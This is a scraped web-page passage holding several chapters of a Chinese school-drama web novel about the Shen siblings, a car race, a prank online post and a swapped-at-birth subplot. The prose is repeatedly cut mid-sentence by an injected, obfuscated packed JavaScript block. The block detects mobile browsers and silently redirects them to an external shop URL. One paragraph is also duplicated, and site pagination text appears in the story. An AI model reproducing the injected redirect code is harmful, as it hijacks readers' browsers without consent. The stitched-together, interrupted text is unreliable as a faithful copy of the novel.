高止,“刚刚清予少爷是把姜小姐‘塞’进车的,您忘记了,姜小姐最讨厌被‘塞’了。” 沈兰曦抬头,“高止,闭嘴。” 高止一愣,忽然意识到什么赶紧捂住嘴巴,忘记了,少爷比姜小姐还讨厌这个‘塞’。 高止赶紧取下领口的墨镜,墨镜一戴,又是酷guy。 …… 第196章 报复!匿名求助 “啊啊啊!!!” 毫不夸张,姜花衫感觉自己的屁股上安了个弹簧,她是被崩出去的! 天杀的沈清予,信不了一点。 沈清予瞬间秋名山车神附体,左手画圈右手画圆,丝滑的发夹连弯,漂移一点不带停顿。 姜花衫双手抓着顶棚的把手,只感觉眼前嗖得一下变白,又嗖得一下变暗,视线嗖嗖嗖,没有一帧是完整的。 “……” 上了高架,再厉害的跑车也只能乖乖排队,速度终于恢复了正常。 沈清予一脸得意,单手握着方向盘,“怎么样,我这车技还要练吗?你不知道外面都怎么吹你哥的,鲸圈小旋风。” 呵? 要笑死了。 姜花衫木着脸,双手依旧死死握着把手。 沈清予瞥了她一眼,灿烂的笑容立马收住,表情有些不自然,“行了!挂着个脸给谁看?这后面的路我保证好好开,行了吧?” 姜花衫冷哼了一声,瞥过头不理他,保证?这狗东西的保证包没用的。 沈清予摸了摸鼻子,从校服口袋里拿出一张卡,两指夹着金卡递给她。 “诺。” 这一秒,姜花衫感觉自己好像被控制了,脖子不受控制就扭向了金卡。 沈清予被她逗笑了,小孩儿就是好哄。 姜花衫勉为其难收下金卡,沈清予给钱不像沈兰曦那么抠搜,一般金额都是超出她的预期。 拿人手短,姜花衫脸色终于缓和了一点,眼看下了高架马上要进入育才的专用路段了,姜花衫立马拉高警惕,“你刚刚说了会好好开的。” 沈清予一脸轻松,“放心,哥什么时候骗过你?” 话音一落—— “滴滴滴——” 后面忽然响起一道嚣张至极的鸣笛声,转瞬一辆兰博基尼黑武士几乎贴着沈清予的车撇到了前面,对着他们喷了一脸的尾气后扬长而去。 姜花衫愣了愣,是周宴珩的车。 她立马看向沈清予,“你别……” 话没说完,屁股上的‘弹簧’又启功了,噌得一下再度弹射。 “……” 姜花衫:好好好,要这么搞是吧?! 关鹤眼睛死死盯着后视镜,眼看沈清予追了上来,两眼泛着凶光,“来啊,小垃圾!” 周宴珩坐在副驾驶,随意瞥了后视镜一眼,淡淡道,“悠着点。” 关鹤嘴角乌青,猛踩油门,“敢打老子,总要给这孙子一点教训。” 周宴珩也没再说什么,关了手机,检查安全带。 “呼——” 两辆黑车直接在专用道上演了一场生死时速,吓得旁边的车辆瑟发抖赶紧让路。 闸口岗亭的保安远远听见汽车轰鸣声,第一反应就是起身开闸,就在栏杆缓缓升上半空的瞬间,沈清予赶超上了关鹤,两车齐头并进驶过闸口。 停车场的前坪足有一个操场那么大,但进入学校区域就不能飙车了,不然回去少不了一顿揍。关鹤和沈清予虽然疯,也不敢越红线,沈清予瞄准了周宴珩的专用停车位,一个丝滑的漂移横挡在关鹤面前,关鹤也不甘示弱,猛打方向盘贴着沈清予的车身试图反阻。 就在这是—— 姜花衫打开车窗,趁着车身因漂移惯性旋转时…… 她:“yue!” 吐了! 白色的秽物沿着漂移的路线划过一道优美的弧,啪唧重重拍打在兰博基尼黑曜石般闪耀的车身上。 “嗯?什么声音,下雨了?” 关鹤此时还没意识到事情的严重性,直到他转头看着车窗上粘着的黄白液体,脸色忽然大变。 “yue!yue!yue!” 另一边,姜花衫一吐不可收拾,不过一个漂移的时间,关鹤驾驶位的侧窗就被黄白液体涂满了。 “叽——” 一声刺耳的胎噪声响彻整个停车场。 关鹤一脸菜色扶着方向盘。 周宴珩心知不妙,黑着脸解安全带,“等我下车。” 关鹤捂着嘴,“对不住了阿珩,我忍不住了!哕!!!” 画面不堪描述,周宴珩转身推门下车。 另一边,得亏于姜花衫的神来之吐,沈清予顺利抢到了车位,姜花衫吐完以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064549|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后神清气爽,等车一停好,立马推门下车,头也不回往直达通道走去。 “小花?!” 沈清予这才意识到开过了,赶紧下车想去追,这时,关鹤推门走了下来,一把揪住沈清予的衣襟。 “C,沈清予你个孙子,玩不起就别玩,搞偷袭算怎么回事?” 沈清予眼看姜花衫已经不见人影,没好气一把甩开关鹤,“菜就多练。嗯?”沈清予忽然意识到哪里不对,捂着鼻子连退几步,“你身上什么味儿?” 不提还好,一提关鹤瞬间暴跳如雷,一把扑上沈清予,“什么味?老子身上的男人味!土鳖,没闻过是吧?好好闻闻!” 说罢用胳膊死死勒住沈清予的脖子,企图把身上的脏东西都蹭给他。 沈清予脸色微变,反手扣住关鹤的手腕,肘击关鹤腹部,然后蹲身一个后空翻把人丢了出去。 “滚啊!爸爸不喜欢男人。” 周宴珩站在远远地,眼看着好友被揍丝毫没有要帮忙的意思,转身就走,刚走两步又忽然停住。 姜花衫去而复返,正蹲在角落偷拍。 周宴珩忽然来了兴趣,回头看了看沈清予和关鹤,不过等他再回过头时,角落的偷拍者已经不见了。 * 几分钟后,育才校内网一条热门贴迅速霸榜。 匿名求助:哥哥是gay怎么办? 这条帖子火不是因为标题噱头,而是因为贴图里的两个男主人翁。 关鹤一手‘搂着’沈清予的脖子,男友力十足,眼神极具攻击性,性张力直接拉满。 周宴珩刚进教室,就有交好的朋友拿图上来八卦。 “阿珩哥,这上面说的是不是真的啊?他们俩谁上谁下啊?” 周宴珩拿过手机扫了一眼,莫名笑了出来,要不是亲眼所见他差点就信了,还真是截的一手断章取义的好图。 “阿珩哥,你笑什么?难不成是真的?” 有人抢答:“我觉得是真的,说是匿名,其实等于自爆了。阿鹤哥又没有妹妹,清予哥的妹妹就三个,敢爆清予哥的雷还这么嚣张的,也就沈家那小疯子了。” …… 第197章 予你自由 “咕噜噜噜~噗~” 姜花衫手里拿着一瓶漱口水,正蹲在花坛边漱口,顺便看看大家的留言。 【不会吧!我不信,要是连沈清予都弯了,那我还相信什么爱情?】 【不不不!爱情不分性别,你还可以信!】 【他们俩看着都好攻,很好奇谁是0?】 因为是匿名,所以大家几乎是畅所欲言,什么都敢聊。 姜花衫冷哼了一声,又含了一大口漱口水,脸鼓像河豚一样, “喂!姜花衫,你鬼鬼祟祟躲在这干什么?” 姜花衫正暗暗得意,后背冷不丁被人拍了一巴掌。 她回头,‘噗’的一声对着来人喷了出去。 “啊啊!!”苏妙直犯恶心,跳起就要掐她的脖子,“你故意的是不是?!” 姜花衫用手挡着她的进攻,顺手从兜里掏出一条丝巾,“给你擦。” 原本这是打算给自己用的,但她当时看准了时机,所以脏东西都甩出去了一点都没弄到身上,所以丝巾也就用不着了。 苏妙气呼呼拽过丝巾,“遇上你就没好事。” 姜花衫将漱口水拧好丢进包里,摆摆手,“那,再见。” “诶!”苏妙一把拽住她,“谁让你走的?我还有话问你。” 姜花衫回过头,斜睨了她一眼,“你问我话?为什么我不能走,谁惯的你?” 苏妙一时不知怎么反驳,只能跟上她的脚步,“我问你啊,为什么一个杀人犯去超市买刀杀人,贵的不买非得买便宜的?” 姜花衫,“因为便宜的刀钝,杀起人来对方会更痛苦。” “?”苏妙一脸震惊,又问:“小明的鱼死了,他妈妈为了安慰他,给他买了一个跟鱼一样大的巧克力,第二天,他就把他哥哥杀了,为什么?” 姜花衫脚步一顿,“你说为什么?” 苏妙,“因为他哥哥偷吃了他的巧克力!!” 姜花衫轻蔑一笑,“因为他以为这样,他就能得到一个跟他哥哥一样大的巧克力了。” “!”苏妙仿佛被打开了新世界大门,“真的还有会人这么想?我果然还不够变态……”说着,意有所指看着姜花衫。 姜花衫丝毫不在意,好奇打量她,“怎么?找找我恶补神经病知识?” 苏妙没好气,“还不就是你!好端端的用我的名字挂脑科,昨天我爷爷、妈妈、哥哥三个人守着我做了两个小时的试卷。” 姜花衫,“这不挺好的吗?说明他们都很在乎你。” 苏妙此时还不懂姜花衫话里的深意,挫败道,“好什么好?那题目我一个都没答上,考了零分。” 姜花衫挑眉,“这也不挺好的?你爷爷应该知道你不是神经病了?” 苏妙瞪她,“现在的确不怀疑我是神经病了,他们现在怀疑我智力低能?我哥后来做几道题就找到了规律,几乎能答出所有有病的回答,我妈和爷爷偶尔也能做出一道,就我不能。” “你们一家人围在一起做神经病检测试题?”苏家人脑回路都是这样的吗?这倒是刷新了她对苏家的认知。 苏妙,“还不是你害的?!姜花衫我警告你,你脑子有病这件事我已经替你瞒下了,所以我去医院做基因检测的事你也必须替我隐瞒。还有啊,有一点我必须提醒你,我做检测是因为问心无愧,你不一样,你脑子有病是板上钉钉的事儿,你要不仁就别怪我不义啊!” “我脑子有病?”姜花衫恍然,原来苏妙以为这个诊断是她的,因为怕泄露才用了她的名顶替。 苏妙见姜花衫沉默,有些不满,“你怎么不说话了?” 姜花衫点头,“行,就算我们交换秘密了吧,不过……那个给我做检查的医生……” “就知道你怕。”苏妙得意抬了抬下巴,“我跟爷爷说我的确去了医院做检查,这种事传出去不光彩,希望爷爷能帮我处理。只不过帮你做检查那个医生就遭殃了,因为爷爷认定他是为了攀附沈家故意危言耸听,所以他应该会受点教训然后被赶出鲸港。他一走,你的秘密就没有人知道了。” 这样的结果几乎和姜花衫预判的一样,只不过苏妙这么替她着想倒是有些出乎意料。 苏妙左右看了看,压低了声音,“那个女人的事你也绝对不能说,知道了吗?” 姜花衫看着她愚蠢又清澈的眼睛,脱口而出,“你就没有怀疑过吗?” 苏妙愣了一下,随即反应过来,立马黑下脸,“你自己出身不好,就恨不得所有人都跟你一样不幸吗?” 姜花衫挑眉。 苏妙这才意识到自己反应过激了,但她也不愿示弱,高傲抬着下巴,“那就走着瞧。”说完,迈着六亲不认的步伐往前冲。 姜花衫倒不会为了这种事跟苏妙计较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064550|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她只是忽然有些可怜苏妙,以那天情况来看,她被抱错有可能是一场预谋已久的阴谋。 “衫衫,你怎么了?” 傅绥尔远远就看见姜花衫和苏妙在花坛这说话,特意等苏妙走远了才出现。 姜花衫摇头,“没什么,走吧,去教室。” 傅绥尔点头。 校园的清晨阳光灿烂,到处都是如 她们这样三两同行的伙伴。 姜花衫忽然想起什么,“你早上去哪了?” 傅绥尔眼眸微顿,小声道,“我跟踪沈眠枝去了?” 姜花衫一愣,转头看着她。 傅绥尔有些不好意思,抓了抓头,“我回去想了想,还是觉得不能袖手旁观。所以,我想看看自己能做什么。” 见姜花衫不语,傅绥尔小心翼翼反问,“你会不会生气我擅作主张?” 姜花衫哑然失笑,“怎么会?绥尔,我们交换想法是为了让彼此知道对方在想什么,并不是要控制对方的思想,你当然可以有你的想法。” 这话并非花言巧语,而是她内心所想。 即使有天傅绥尔真的做出与她背道而驰的决定,她也不会生气,因为只有她很清楚,在这个世界顺应自己的内心做一个选择有多难! 她们那么努力挣脱标签,不就是为了让思想和行动都得到自由吗? …… 她们这样三两同行的伙伴。 姜花衫忽然想起什么,“你早上去哪了?” 傅绥尔眼眸微顿,小声道,“我跟踪沈眠枝去了?” 姜花衫一愣,转头看着她。 傅绥尔有些不好意思,抓了抓头,“我回去想了想,还是觉得不能袖手旁观。所以,我想看看自己能做什么。” 见姜花衫不语,傅绥尔小心翼翼反问,“你会不会生气我擅作主张?” 姜花衫哑然失笑,“怎么会?绥尔,我们交换想法是为了让彼此知道对方在想什么,并不是要控制对方的思想,你当然可以有你的想法。” 这话并非花言巧语,而是她内心所想。 即使有天傅绥尔真的做出与她背道而驰的决定,她也不会生气,因为只有她很清楚,在这个世界顺应自己的内心做一个选择有多难! 她们那么努力挣脱标签,不就是为了让思想和行动都得到自由吗? …… 第198章 我是谁? 阳光闪着虹圈,两座伟岸的教育大楼对立而望,德才楼的学生已经进入了紧张的学习状态,而英才楼到处都是闲聊追逐的学生,满满的松弛感。 姜花衫和傅绥尔有说有笑,刚走出紫藤花架就看见前面乌泱泱围了一群人,苏妙站在最中心,怀里捂着一张纸,脸上的表情气急败坏。 刚走进,就听见苏妙指着面前一个不起眼的女生臭骂,“你眼瞎了?这么宽的路对着我撞算怎么回事啊?” 那女生被骂得头也不敢抬,身边的朋友一直在旁边赔礼道歉。 “对不起!东西太多了我们一时没注意,书包我们给你收拾好了,实在是很抱歉。”女生朋友对着苏妙鞠了个标准的90°躬,双手递上书包。 苏妙依旧愤愤不平,“里面的东西都弄到地上了,书包也是,这么脏你就直接给我?” 女生朋友有些为难,苏家千金的包她们哪赔得起,只能小心陪笑,“要不,我们给洗干净?” 姜花衫和傅绥尔对视了一眼,绕过人群。 见苏妙依旧不依不饶,女生朋友尴尬看了女生一眼,“苏韵,怎么办啊?” 姜花衫脚步一顿,侧身看向人群,被叫作苏韵的女生穿着宽大的运动装,麻花辫齐刘海,脸上还戴着又土又笨重的黑框眼镜。 苏韵抬头看了苏妙一眼,对着她弯腰道歉,“对不起,我刚刚真的不是故意的。” 眼看着围观的人越来越多,苏妙更觉糟心,都围着她干什么?看猴吗?正想骂人,忽然在人群之外看到了姜花衫。 她瞬间脸一黑,没好气拿过书包,“都围着看什么?怎么那么闲啊?” 凶完,一把扒开人群,眼也没抬往姜花衫面前走过。 傅绥尔看着苏妙的背影,“她胸口护着的是什么?” 姜花衫摇头,若有所思看向人群里那个灰扑扑的少女。 未来光芒万丈的国民女神? 还有她旁边那个女生,不是赵棠吗?女主和赵棠也有牵扯? 吃瓜群众见没什么事也就散了,赵棠轻叹了一声,蹲下身帮着苏韵整理掉落的书籍。 “阿韵,刚刚好险,你怎么突然对着苏家小姐撞上去了?幸好她不像傅潇潇那么刁钻,不然……” 苏韵垂着眼,盯着手里的书一动不动,赵棠察觉到她的异常,顿了顿立马转过话题,“阿韵,你怎么了?从早上开始就魂不守舍的?” 苏韵眨了眨眼,迅速回神,若无其事抱起手里的书,“没什么,可能是没休息好吧。” 赵棠还是有些担心,“你……” 苏韵打断她,“我们也快点吧,拍摄组还等着呢,要是耽误的拍摄进度,不知道那位大小姐又要闹什么幺蛾子。” “哦。”赵棠一下被转去了注意力,加快速度捡书,嘴里喃喃自语,“这些千金大小姐就没有不喜欢蹉跎人的。” 她话刚说完,一双白的发光的漫画手从她眼前伸过,随意捡了一本书扔进了她怀里。 赵棠一愣,抬头就撞进了一双春光滟潋的桃花眼里。 姜花衫? 这可是个比傅潇潇还不能招惹的祖宗! 赵棠吓得浑身一激灵,下意识躲到了苏韵身后。 自从她见识过姜花衫整人的手段后,无时无刻不在躲着姜花衫,就怕这祖宗忽然想起被冤枉的仇,会像整傅潇潇一样整她。 “怕什么?我又不吃人。”姜花衫啧了一声,笑着打量苏韵,“你就是苏韵?” 苏韵表情里带着些许戒备,轻轻点了点头。 姜花衫,“别紧张,我就是有个问题想求证一下。” 苏韵,“什么问题?” 姜花衫,“你刚刚是故意撞苏妙的吗?” 苏韵愣了愣,在最快的时间里反应过来,当即摇头,“不是,我走神了,不小心才撞上她的?” 姜花衫笑了笑,“知道了。” 就在苏韵以为她还要问什么时,姜花衫歪头又朝她摆摆手,转身走到同伴身边径自离开了。 苏韵压下失格的心跳,不知道为什么,姜花衫朝她微笑的那一瞬间她总感觉她好像知道了什么。 没错,她的确是故意撞苏妙的,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064551|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……她感觉无意中发现了苏婉茹手机里的录音。 苏婉茹从来不会来学校参加授奖典礼,但那天却破例了,这一点就已经引起了苏韵的怀疑,所以回去之后,她暗中观察苏婉茹,而苏婉茹也的确露出了很多破绽。 比如,她在牌桌赌的筹码越来越大,甚至连高利贷都敢借,一开始苏韵只是怀疑,这女人又故技重施想把她卖给谁,为了提前预防,苏韵趁苏婉茹喝得烂醉如泥时偷翻了她的手机。 原本苏韵只是想知道自己又会被卖多少钱,没想到竟然被她找到了一个加密的录音。这已经不是她第一次偷翻苏婉茹的手机了,所以密码早就被她试探出来了。 以苏婉茹的性格,录音既然被加密一定有不可告人的秘密,为了不被发现,她偷偷将录音发给了自己,又删除了聊天记录。等销毁了证据才偷偷躲回房间。 苏韵躲在被窝偷听录音时感觉整个世界都崩塌了。 原本她只是以为苏婉茹又策划了抛 弃她的阴谋,没想到竟是个偷天换日的惊天秘密。 可随着录音里一句话的出现,苏韵崩塌的世界忽然又有了光明。 “好,既然我们没什么好聊的,那我就去找苏夫人,想必她应该对谁是她的亲生女儿很感兴趣。” 苏夫人的亲生女儿? 苏韵心里不觉有了一丝怪异的念头,会不会就是她呢? 这些年苏宛如对她极尽刻薄,以至于她常常都在想,苏宛如到底是不是她的亲生母亲? 如果她本来就不是呢? 如果,她真的诱拐了她的人生呢? 录音里提到,苏宛如给了苏妙一根头发让她去做DNA鉴定,正巧沈清予在英才楼打关鹤的事闹得沸沸扬扬,大家都说关鹤带着苏妙和姜花衫逃学了才会被揍,苏韵由此联想到到苏妙可能真的去了医院。 听完录音后,她一晚都辗转难眠,今早一看见苏妙就魔怔了,想也没想就对着她撞了上去。 她真的太想知道真相了,到底她是谁? 她的人生是不是正在被盗窃? …… 第199章 小刀拉屁股 姜花衫和傅绥尔走进教室时,傅潇潇和她身边的狗腿们正拿着手机讨论地热火朝天,一群人看见姜花衫,相互交换了个眼神,收敛了一点默默转换姿势。 傅潇潇翻了个白眼,拿着手机朝姜花衫晃了晃,“诶!姜花衫,这条匿名贴是你发的吧?” 姜花衫把书包放在桌子上,隔着两行座位打量她,“是啊?怎么了?” 傅潇潇一脸幸灾乐祸,“没什么?我就是笑有人要遭殃了,别怪我没提醒你,关鹤哥可不好惹。” 姜花衫抿嘴笑了笑,转过身直接忽视。 傅潇潇瞬间气黑了脸,站起身走出了教室,狗腿们相互看了看立马追了出去。 “潇潇,你马上就要上课了,你去哪啊?” 傅潇潇透过教室门口,死死瞪了姜花衫一眼,“去找关鹤哥。” 身边的狗腿立马不说话了,大家都知道她的心思,说是去找关鹤,其实醉翁之意不在酒,分明是冲着周宴珩去的。 没人敢拆穿,只能默默跟着。 一群人走到楼梯口,正巧碰见周绮珊从台阶上来。 傅潇潇想了想,故意上前拦路,“咦?今天怎么没看见你和苏妙一起?” 周绮珊脸色不是很好,“傅潇潇,你有完没完?” 傅潇潇更得意了,“哦,我知道了,你的苏妙昨天拉着姜花衫一起逃学不带你,今天早上她们俩又在花坛那说悄悄话,看来某人要被抛弃咯~” 周绮珊一把推开傅潇潇。 傅潇潇也不甘示弱,对着周绮珊的背影大骂,“不男不女,谁爱跟你玩?” 周绮珊脚步一顿。 傅潇潇身边的狗腿吓得直打哆嗦,虽说周绮珊脾气好,但她毕竟是周家的千金,她们也不敢随便得罪。 但周绮珊最终还是没有回头,只停顿了片刻又继续往教室方向走去。 狗腿团暗暗舒了一口气。 “潇潇,你不是喜欢周少?怎么还总跟周绮珊过不去?” 说到这,傅潇潇对周绮珊的厌恶又多了一分。原本她是想跟周绮珊拉近关系的, 但不管她怎么抛橄榄枝周绮珊就是不接,反而像条狗一样黏着苏妙。 爷爷说过,傅家要想和周家结亲,最大的竞争对手就是苏家。 苏家只有苏妙一个适婚女儿,也就是说不把苏妙挤下去,阿珩哥哥有可能就是别人的。 一想到这,傅潇潇就心里不平衡,周绮珊看不上她,她偏偏就要搞坏她和苏妙之间的关系,周绮珊在周家还算得宠,要是苏妙和周绮珊交恶,以苏妙的脾气一定不会跟周家结亲。 不过这些,都不足以跟外人说道,傅潇潇甩了甩头发,“阿珩哥又不在意她,走吧。” * 周绮珊走进教室时适当收敛了情绪,目光在姜花衫和苏妙之间游弋了一圈,才慢慢走向座位。 “早啊,妙妙。” 苏妙正在收拾自己的书包,头也没抬,“早啊。” 周绮珊心里微微有些失落,故作不在意放下书包问道,“妙妙,你昨天去哪了?” 苏妙停下手里的动作,抬头看着周绮珊。 周绮珊立马换了个问法,“昨天清予哥揍了关鹤哥一顿,你们到底去哪了?清予哥怎么发那么大的脾气?” 苏妙暂时不想透露疯女人的事,想了想搪塞道,“没去哪啊,就随便出去转了转。” 周绮珊眼中微微有些失望,却也只是点了点头,“那就好,我只是担心你。” 苏妙有些心虚,转过头没有接话。 另一边,姜花衫还在想苏韵。 她为什么要故意撞苏妙呢? 难不成是察觉到了什么? 姜花衫单手托腮,隔着玻璃窗望向对面的德才楼,原本脑子里还想着苏韵的事,冷不丁看见对面一群人扛着摄像机在过道走来走去。 这立马引起了姜花衫的好奇,她指着对面的德才楼,拍了拍傅绥尔的肩膀,“对面在干什么呢?怎么那么多人?” 傅绥尔侧过身望去,“还真是,怎么这么多人?” 前面的男生见缝插针,立马转过身,积极解释,“听说是一部大制作的青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064552|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春偶像剧要来我们学校取景,那些人在拍摄呢?” 傅绥尔,“取景?谁啊,这种事我们学校都能答应?” 男生看了姜花衫一眼,“你们不知道吗?” 姜花衫看着他,“我们应该要知道吗?” 男生耳尖猛地通红,飞快转身拿出一张海报放在姜花衫的课桌上,“新生代颜值第一人国民女神萧澜兰啊?” “……” 姜花衫和傅绥尔的表情活像吞了一个臭鸡蛋般难受。 姜花衫不觉发出灵魂拷问:“这笑死人的前缀是谁想的?” 傅绥尔:“应该是她自己吧。” “……”男生完全没想到两人是这反应,萧澜兰不是她们堂表姐吗? 海报上的萧澜兰化着纯欲伪素颜妆,水灵灵的大眼睛忧郁而深情望着远方。 姜花衫,“她这演的啥?盲女吗?” 傅绥尔,“不知道啊?这种人的受众到底是谁啊?她怎么火的啊?” 两人百思不得其解,不约 而同看向面前的男生。 男生咽了咽口水,反应极快,二话不说拿起海报摔在地上,“我最讨厌追星了。” 姜花衫和傅绥尔立马变得一团和气。 姜花衫笑吟吟,“你知道他们拍的什么剧吗?要拍几天?” 男生转身又从抽屉里拿出一本资料,“《隔壁舞室有束月光》,说的是一个为舞而生的少女抵抗校园霸凌的故事。” 傅绥尔拿过故事简介扫了一眼,表情活像地铁老人看手机,“她演被霸凌的无助少女???真是小刀拉屁股,开眼了。” 姜花衫,“你怎么会有这个?” 男生抓了抓头,“早上剧组的人在我们这边发的,说是德才那边找的客串的没有霸凌的感觉,想来我们这边看看有没有人愿意出演,我正好路过顺手领的资料。” 姜花衫盯着傅绥尔手里的资料,面露思索,正要开口,头顶忽然压过一道黑影。 “小鬼,解释一下,这是你发的吗?” …… 第200章 这不是秘密吗? 姜花衫一抬头,关鹤那张锁脖照赫然出现在她眼前。 傅绥尔生怕沈清予失去理智把姜花衫揍一顿,赶紧起身挡在姜花衫面前,“清予哥,你先别冲动,你先听衫衫狡辩。” 沈清予斜睨了傅绥尔一眼,按着她的脑门把她拍了回去。 “行,我看她怎么狡辩?”说罢,眼梢微挑看着姜花衫。 姜花衫稳如老马,“你凭什么说是我?上面不是写着匿名吗?” “呵?”沈清予没想到这小鬼心理素质这么强大,都到这份上了还敢睁着眼睛说瞎话。 “关鹤没有妹妹,碰巧我正好有三个,里面最不孝的就是你,不是你还会是谁?” 傅绥尔瞬间不乐意了,“哪有人用不孝形容妹妹的?” “一边待着去。”沈清予虚握拳叩了叩桌面,“赶紧给我道歉,再把帖子删了,不然……” “不然?”姜花衫站起身,临危不乱,“不然怎么?你信不信我告诉爷爷,让他罚你进小黑屋。” 一说到小黑屋,沈清予脸色瞬间就不好了。 这小鬼也不知从哪得来的消息?突然有天就知道了他和沈兰曦最怕小黑屋惩罚,每次只要他俩稍有哪里不如她的意,她就跑去老头儿那告黑状,还指名道姓让关小黑屋。 最离谱的是,老头儿每次都顺着她,她是状状不落空,可怜他和沈兰曦那傻逼夜夜煎熬,都快赶上柳下惠了。 沈清予眯眼,“你还敢提老爷子?老爷子要知道你胡乱造谣自己的哥哥,你觉得他还会帮你吗?” 姜花衫双手一摊,“别信口雌黄啊,法庭上都是谁主张谁举证,你有什么证据吗?” 沈清予被气笑了,谁主张谁举证都知道,这是有备而来啊?难怪她就差自爆身份证了还多此一举写个匿名,原来在这等着他。 “不删是不是?” 姜花衫气定神闲,“都说了不是我,你怎么不怀疑绥尔?不怀疑沈眠枝?对了!还有萧澜兰,她今天不是也来我们学校了?说不定就是她呢,她不是最喜欢偷拍了吗?” 这个时候还乱泼脏水?一旁的傅绥尔叹为观止,默默伸出大拇指。 见过狡辩的,没见过这么会狡辩的。 沈清予太阳穴突突,姜花衫千万别去犯罪,就她这心理素质当场杀人被捕还能说成不小心路过。 “行。” 众目睽睽之下,沈清予也不能没了当哥哥的风度,咬着后牙槽摸了摸姜花衫的头顶,直到把她的头发揉成了鸡窝状才罢手。 “等放学。” 说完,指尖点了点姜花衫的脑门,转身走出了教室。 傅绥尔默默递上一把梳子。 “幼稚。”姜花衫木着脸坐下,拿出手机对着自己的发型来了张特写,顺手就发到了沈氏家族群。 【@花儿为什么这样红,爷爷,沈清予打我,头发都薅没了。】 傅绥尔感觉手机震动了一下,打开屏幕看见群里的消息,一脸震惊,随后立马跟上节奏。 【外公,是真的,我作证。】 发完之后,傅绥尔在心里开始默数,三、二、一。 【叮咚——】 【花儿为什么这样红:@沈清予,一天天的尽手多脚痒,你这么有能耐把后院新长出的那一亩杂草都薅了,薅不干净,你就多拿几身衣裳给我等着。】 【花儿为什么这样红:@沈兰曦,兰曦,你给我看着这臭小子,他要再惹妹妹,我连你一块揍。】 【花儿为什么这样红: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064553|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' @沈归灵,阿灵,课间抽空带小花儿去医务室看看,要是情况严重给家里打电话。】 【花儿为什么这样红:@沈清予@沈兰曦@沈归灵,都回话。】 【沈归灵:好的,爷爷。】 【沈兰曦:是。】 【沈清予:……收到。】 六个点是沈清予最后的倔强。 * 午间,放学铃一响,英才楼的学生就像猛兽脱笼倾巢而出。 姜花衫最讨厌挤人高峰,一般总是等到一栋楼里的人都走了七七八八了才慢慢收东西。 傅绥尔知道她的性子,不紧不慢打开校内的云餐厅刷菜单,“衫衫,今天想吃什么?” 作为A国顶级贵族学校,育才的餐饮楼也是极尽奢华,一到五楼世界各国的美味佳肴应有尽有。 姜花衫现在肚子里一粒存粮都没有,实在饿得不行,想也没想,“吃肉。” 傅绥尔点头,在手机上定位点餐,“走吧,我给你点了淮城的红烧狮子头。” 两人收拾东西,刚走到教室门口就与沈归灵不期而遇。 傅绥尔一脸惊喜,“阿灵哥,你怎么来了?” 姜花衫眉心跳了跳,面露怀疑看着傅绥尔。 三年前这家伙还看沈归灵眼睛不是眼睛,鼻子不是鼻子,背地里私生子长私生子短的,什么时候关系这么好了? 万人迷系统还真不是吹的。 沈归灵嘴角上扬,拿出手机晃了晃。 傅绥尔立即想到早上的群消息,“阿灵哥,你是来带衫衫去医务室的吗?可是我们刚刚定好了位置正准备去吃饭呢?” 小主,这个章节后面还有 哦,请点击下一页继续阅读,后面更精彩! 第201章 光明正大地威胁 这一问,傅绥尔眼神更哀怨了。 “不单单是我知道,清予哥和兰曦哥也知道。” 都知道?姜花衫一脸疑惑,“怎么知道的?” 